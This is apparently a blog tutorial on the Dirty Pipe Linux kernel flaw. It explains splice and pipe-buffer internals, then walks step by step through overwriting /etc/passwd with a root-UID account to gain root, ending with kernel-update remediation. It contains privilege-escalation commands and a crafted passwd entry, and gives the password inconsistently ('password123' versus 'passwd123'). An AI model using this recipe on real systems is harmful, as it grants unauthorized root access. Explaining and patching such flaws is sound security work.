black metal tube lot
Sat Apr 01

Dirty Pipe Vulnerability Explained

In March 2022 a new vulnerability was found that allows users (or the attacker) to arbitrarily overwrite files in the operating system. Named after the notorious vulnerability “Dirty Cow” exploits which have been found much earlier on older kernels, this vulnerability can be leveraged to many critical issues involving privilege escalation. We’ll try our best to explain what is it, and how the vulnerability can be exploited by the malicious actor.

How does dirty pipe work?

Before going deeper into this vulnerability, it is better to understand how the Linux Kernel handles memory management.

When a process wants to open a file, the kernel will load the process into the memory page which is the smallest unit of memory (usually 4kB). These pages are used when files are being read and written from the disk which is managed by page cache.

When trying to open the file, the kernel loads the file into the pages and makes it available in the user space process. The user space access can be granted from two different ways, either being copied to the user space first, or keeping the page in kernel space and making it accessible via system calls.

In shell scripting, it is common to use “pipe” (usually denoted by the pipe character | ), where users can split two or more commands where the first one would be served as the input for the next command. However, the commands (or programs) run concurrently and typically use blocking I/O. If the input is nonexistent or the previous command produces significant output that the next command is able to handle to its buffer, the command will be suspended.

The pipe buffer is stored in kernel space, which is separate from the memory used by user processes. This means that data passed through the pipe is temporarily stored in the kernel’s space before it is read by the receiving process.

When a process writes data to a pipe, it is stored in the pipe buffer until it is read by the receiving process. If the pipe buffer is full when the process tries to write data, the write operation will be blocked until there is enough space in the buffer to store the data. Similarly, if a process tries to read from an empty pipe, the read operation will block until there is data available in the buffer.

At this point you should have the idea of how the piping works. Let’s go back to system calls.

In Linux, the system call named splice() transfers data between two file descriptors by pushing the file contents into a pipe. Rather than copying the data to user space, it moves the references to the pages storing the file content, which allows for efficient read-only access. As a result, it’s possible to access a section of a file that was originally opened by a process requesting read-only access, by pointing to the page already existing in memory.

The splice() system call in Linux allows for efficient data transfer between file descriptors, but it has certain limitations. While it’s technically possible to write on the memory page, the kernel prevents this from happening by creating a new pipe_buffer to avoid overwriting spliced data.

However, a new flag called PIPE_BUF_FLAG_CAN_MERGE was added to the Linux kernel v5.8 in 2020, which allows for page updates without forcing a rewrite. This means that it’s now possible to force the kernel to do what we want, by injecting this flag into a page cache reference.

In an exploit scenario, the attacker first opens a target file with the read- only flag set, and prepares a pipe in a special way with the PIPE_BUF_FLAG_CAN_MERGE flag. They then use splice() to point the pipe at the desired section of the target file, and write arbitrary data into the pipe, overwriting the target page by merit of the flag. The addition of the PIPE_BUF_FLAG_CAN_MERGE flag has made it possible to overwrite data in the page cache by injecting it into a specially prepared pipe.

What is Dirty Pipe vulnerability?

In computer operating systems, a “dirty page” refers to a page of memory that has been modified or written to, but the changes have not yet been saved to the corresponding file or storage device. Since the vulnerability is done by taking advantage of piping mechanisms in Unix-like or Linux systems to let the pipe point to the “dirty” page cache section containing the target file and write an arbitrary file over it, this is what we call a Dirty Pipe.

Exploiting Dirty Pipe Vulnerability

Max Kellerman, who found this vulnerability, has written proof of concept regarding the issue that you can read about it here. This proof of concept gives an idea of how Dirty Pipe vulnerability can be exploited.

As previously stated, we need a file where the user can read but still can be abused to elevate privilege. /etc/passwd is ideal to do the job where at the same time, this file is directly related to /etc/shadow, where the hashed password in the Linux system is being stored.

Understanding /etc/passwd

This file stores all the registered users in the Linux system. A single line contains a single user information (e.g. root) containing 7 different fields separated by colon (:).

root:x:0:0:root:/root:/usr/sbin/nologin
  1. root: the actual username.
  2. x: the user’s hashed password. In most cases, the actual hash is stored in /etc/shadow, which requires sudo permission to read. This is what we mean as “directly related”. In fact, we can store the hash directly to this field without relying on /etc/shadow.
  3. 0: user id (UID).
  4. 0: group id (GID).
  5. root: description of the current username. If you make your own username and provide your full name, it should belong to this field or you could simply leave it blank.
  6. /root: user home directory
  7. /bin/bash: the user’s login shell.

Why do you need to know this? Because Linux doesn’t make UID and GID 0 exclusive to root accounts only, we are going to take advantage of it and make our own account along with the password that has the same permission with the root account.

Generating password hash

As you know now what each field does, let’s get into making our own user. You should make something like this.

bob:$6$ED4SWSjpu9ZW6alP$NKY64Di3sG6L7wY3BEoQyq25DIsgZkcj7bcMdBDDq0ESibdCETwclOk7BdQtcdUM.jLgsdOn12VNeHa6DZ/7v0:0:0::/root:/bin/bash

The above entry uses password “password123” to login as “bob”. How do you get this hashed password? You can simply generate it by using the command below.

openssl passwd -6 “password123”

This should produce the following output.

$6$ED4SWSjpu9ZW6alP$NKY64Di3sG6L7wY3BEoQyq25DIsgZkcj7bcMdBDDq0ESibdCETwclOk7BdQtcdUM.jLgsdOn12VNeHa6DZ/7v0

Finding the offset

Appending a newline to the file is not possible, but you can set a backup of the /etc/passwd to another directory and replace the original to a new one. In fact, you can either use our first scenario where you replace an account in the file (e.g. “games”, “news”, or anything) that is not used frequently and change it to our crafted account (“bob” account) or you can just replace the root account, to contain our crafted information. If you choose this, the root account should look like this.

root:$6$ED4SWSjpu9ZW6alP$NKY64Di3sG6L7wY3BEoQyq25DIsgZkcj7bcMdBDDq0ESibdCETwclOk7BdQtcdUM.jLgsdOn12VNeHa6DZ/7v0:0:0::/root:/bin/bash

The difference between the two is where you can set the start point of the payload known as the offset. You can find it with the following command and get the number at the start for later use.

grep -b "games" /etc/passwd

Example output:

197:games:x:5:60:games:/usr/games:/usr/sbin/nologin

If you choose to modify the root account, you can simply use offset = 4 to replace the information right after the first word “root”.

Compiling exploit

You can now copy the proof of concept made by Max here. Assuming that your target server still uses a vulnerable kernel, you can save the file as exploit.c. You need to compile the file first in order to execute the file with the following command.

gcc exploit.c -o exploit

Backing up the original /etc/passwd file

The next action will damage your system, so you need to backup the /etc/passwd file. You can make a copy in /tmp directory. To do this, simply use this command.

cp /etc/passwd /tmp/passwd

Exploiting target system

As you now have everything you need. You can start the exploit. As mentioned earlier, you can either target the least-used user account or modify the root account directly. Assuming you choose to replace “games” with the byte offset of 197 you can use this.

./exploit /etc/passwd 197 ‘bob:$6$ED4SWSjpu9ZW6alP$NKY64Di3sG6L7wY3BEoQyq25DIsgZkcj7bcMdBDDq0ESibdCETwclOk7BdQtcdUM.jLgsdOn12VNeHa6DZ/7v0:0:0::/root:/bin/bash
> ‘

If the output looks like this: It worked!, then you have successfully exploited the file. To test, you may switch to your crafted account with su bob and use the password passwd123.

Otherwise, you can use our second scenario where you modify the root account information. To do this, you can use the following command and expect the same output as before. You can then use su to switch to the root account and enter the same password.

./exploit /etc/passwd 4 ‘:$6$ED4SWSjpu9ZW6alP$NKY64Di3sG6L7wY3BEoQyq25DIsgZkcj7bcMdBDDq0ESibdCETwclOk7BdQtcdUM.jLgsdOn12VNeHa6DZ/7v0:0:0::/root:/bin/bash
> ‘

Restoring the broken file

We should clean up after we execute the exploit. You can simply move the backup file to its original directory while still in the root shell as it requires sudo access.

mv /tmp/passwd /etc/passwd

Remediation

The remediation for this vulnerability is very simple and easy: update your kernel. The vulnerability only exists on Linux kernel v5.8 or later and has been patched in version 5.16.11, 5.15.25 and 5.10.102. So, it is most likely that your current kernel version no longer has this vulnerability, thus the method won’t work.

Conclusion

The “Dirty Pipe” vulnerability is a security flaw that affects the Linux kernel, specifically the implementation of the “splice()” system call. The vulnerability can be exploited by a local attacker to gain elevated privileges and execute arbitrary code with root privileges.This whole article should depict how the Dirty Pipe vulnerability works and how the attacker can exploit this. This is also one of the reasons why you should keep your system up to date to the latest kernel version.